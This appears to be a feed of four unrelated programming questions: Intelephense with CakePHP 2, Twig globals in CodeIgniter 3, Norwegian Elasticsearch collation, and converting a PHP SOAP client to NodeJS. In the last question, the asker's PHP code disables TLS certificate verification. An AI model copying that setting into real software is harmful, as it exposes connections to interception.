2. ../App/Config
3. simply not adding .php, simply not adding the file at all
4. So many more!

How can I get Intelephense to recognize core.php, which essentially just holds a bunch of settings and some helper functions defined as, for example:

// just an alias for json decode
function jdec($json) {
    return json_decode($json, 1, 512, JSON_INVALID_UTF8_IGNORE);
}

Note: I am sure my difficulty with Intelephense is not strictly related to the CakePHP 2 framework.

from Intelephense stub won't load in CakePHP 2

How can I pass variable to a Twig view in this Codeigniter 3 application?

I am working on a online newspaper/blogging application with CodeIgniter 3.1.8 and Bootstrap 4. I have decided to add themes to it. The application is not HMVC, only MVC.

The themes directory is outside application as can be see in the image below:

Inside themes I have the theme directory (of course) which contains the "master view", layout.php:

How I use the theme views

In application/core I have added a MY_Loader.php file with the following contents:

<?php defined('BASEPATH') OR exit('No direct script access allowed');

  class MY_Loader extends CI_Loader {

    function theme_view($folder, $view, $vars = array(), $return = FALSE) {
      $this->_ci_view_paths = array_merge($this->_ci_view_paths, array(FCPATH . $folder . '/' => TRUE));
      return $this->_ci_load(array(
              '_ci_view' => $view,
              '_ci_vars' => $this->_ci_prepare_view_vars($vars),
              '_ci_return' => $return
          ));
    }

}

In my Posts controller's index() method, I load the view passing it the data:

public function index() {
   //more code here
   $data['posts'] = $this->Posts_model->get_posts($config['limit'], $config['offset']);
   $this->load->theme_view('/themes/caminar/', 'layout', $data);
}

Using Twig for the themes

Even though I have no Symfony knowledge, I thought it was a good idea to use the Twig template engine to the theme(s).

For this purpose, I use CodeIgniter Simple and Secure Twig. I have:

• Added the Simple and Secure Twig library:application\libraries\Twig.php;

• In the third_party directory I have added Twig itself.

• In application\config\autoload.php I have loaded twing:

  $autoload['libraries'] = array('database', 'form_validation', 'session', 'user_agent', 'twig');

• Set the path for the Twig views in application\libraries\Twig.php:

private $config = [ 'paths' => [FCPATH . '/themes', VIEWPATH], 'cache' => '/path/to/twig/cache', ];

The problem

According to the docs of CodeIgniter Simple and Secure Twig, we can set a global variable like so: $this->twig->addGlobal('sitename', 'My Awesome Site');

So, I added $this->twig->addGlobal('siteTitle', 'My Awesome Site'); in the Posts controller:

public function index() {

  //call initialization method
  $config = $this->_initPagination("/", $this->Posts_model->get_num_rows());

  $data = $this->Static_model->get_static_data();
  $data['pages'] = $this->Pages_model->get_pages();
  $data['categories'] = $this->Categories_model->get_categories();  

    //use limit and offset returned by _initPaginator method
  $data['posts'] = $this->Posts_model->get_posts($config['limit'], $config['offset']);
  $this->twig->addGlobal('siteTitle', 'My Awesome Site');
  $this->load->theme_view('/themes/caminar/', 'layout', $data);
}

Yet, in themes\caminar\layout.php the line <title></title> does not display "My Awesome Site" inside the <title> tag.

What am I doing wrong?

from How can I pass variable to a Twig view in this Codeigniter 3 application?

Elastich search - ICU Collation Keyword Field - Norwegian language - aa elastich search consider as å when sorting

I am using elastic search elasticsearch:6.8.4 on fos in Symfony 4.4 by friendsofsymfony/elastica-bundle": "^5.0"

I am facing an issue with sort field with config in fos_elastica.yaml. My config like:

 user_first_name_sort: {type: icu_collation_keyword, language: nb, index: true}

This work fine for Norwegian language as expected. But, word aa elastich search consider as å when sorting. Example:

How can i ignore implictly transfer?

from Elastich search - ICU Collation Keyword Field - Norwegian language - aa elastich search consider as å when sorting

Handling a SOAP request in NodeJS with PHP documentation

I'm struggling to convert a PHP code handling a SOAP request into NodeJS. I tried a lot of things, including npm:

• https://www.npmjs.com/package/soap
• https://www.npmjs.com/package/easy-soap-request
• https://www.npmjs.com/package/strong-soap

I really don't understand how to fit the lines I have in PHP into a NodeJS code. Here it is:

$stream_context = stream_context_create([
    'ssl' => [
        'verify_peer' => false,
        'verify_peer_name' => false
    ],
     'http' => [
         'header' => 'MailToken: ' . $token
     ]
]);

$client = new SoapClient(null, [
    'stream_context' => $stream_context,
    'location' => self::MAIL_URL,
    'uri' => 'SOAPService/Mail'
]);

return $client->__soapCall('send', [
    'subject' => $subject,
    'body' => $body,
    'recipients' => $recipients
], null);

Could anybody give me a piece of advice? Thanks a lot.

from Handling a SOAP request in NodeJS with PHP documentation